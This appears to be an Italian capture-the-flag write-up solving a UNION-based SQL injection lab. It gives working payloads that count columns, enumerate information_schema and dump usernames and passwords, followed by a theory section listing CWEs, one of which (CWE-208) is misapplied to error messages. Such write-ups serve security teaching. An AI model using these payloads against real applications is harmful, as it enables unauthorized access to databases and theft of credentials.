Soluzione

Passaggi:

1. **Identifica la vulnerabilità SQL Injection**:
    - Inizia inviando un input nel campo di ricerca e nota che l'applicazione è soggetta a SQL Injection.

Usa la query di test:
sql
Copy code
```
1' UNION SELECT NULL,NULL,NULL,NULL -- fsdf
```

    - Questo ti conferma che ci sono 4 colonne nel risultato e la query è vulnerabile.
2. **Trova il nome del database**:

Una volta individuato il numero corretto di colonne, usa la query per ottenere il nome del database:
sql
Copy code
```
1' UNION SELECT database(), NULL, NULL, NULL -- es
```

    - **Risultato**: Il database è `naruto_db`.
3. **Trova i nomi delle tabelle nel database**:

Usa la query per visualizzare le tabelle presenti nel database `naruto_db`:
sql
Copy code
```
1' UNION SELECT table_name, NULL, NULL, NULL FROM
information_schema.tables WHERE table_schema = 'naruto_db' -- g
```

    - **Risultato**: Le tabelle presenti sono `users` e `products`.
4. **Ispeziona la struttura della tabella `users`**:

Ora ispeziona i campi della tabella `users` usando la seguente query:
sql
Copy code
```
1' UNION SELECT column_name, NULL, NULL, NULL FROM
information_schema.columns WHERE table_name = 'users' AND table_schema
= 'naruto_db' -- ff
```

    - **Risultato**: I campi trovati nella tabella `users` sono `username`, `password`, `role` e `id`.

5. **Estrai i dati dalla tabella `users`**:

Usa una query per estrarre i dati contenuti nei campi della tabella `users`:
sql
Copy code
```
1' UNION SELECT username, password, role, id FROM users -- ff
```

   - **Risultato**: L'esecuzione di questa query ti permette di visualizzare i dati della tabella `users`, compresa la flag nascosta che corrisponde alla password di uno degli utenti.

Teoria e Spiegazione dell'Attacco

SQL Injection (SQLi):

- SQL Injection è una vulnerabilità che permette a un attaccante di interferire con le query SQL eseguite da un'applicazione. Permette a un attaccante di vedere, modificare o cancellare dati a cui non dovrebbe avere accesso.
- Nel caso di SQLi UNION-based, l'attaccante utilizza la clausola `UNION` per combinare i risultati di una query legittima con una query malformata e controllata dall'attaccante, permettendo di eseguire comandi SQL arbitrari.

Cosa fa UNION?:

- `UNION` permette di combinare i risultati di più query SQL in un'unica risposta. Se la query è vulnerabile a SQL Injection, un attaccante può usare `UNION` per iniettare una query arbitraria e ottenere i dati desiderati dal database.

`information_schema`:

- `information_schema` è un database che contiene informazioni su tutti gli altri database presenti nel sistema. Contiene tabelle che descrivono le tabelle, colonne e altre proprietà dei database. È una risorsa chiave per chi tenta un SQLi, in quanto permette di raccogliere informazioni sulla struttura del database.

CWE Coinvolti:

- **CWE-89**: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
- **CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor.
- **CWE-208**: Observable Timing Discrepancy (se l'applicazione non protegge adeguatamente i messaggi di errore).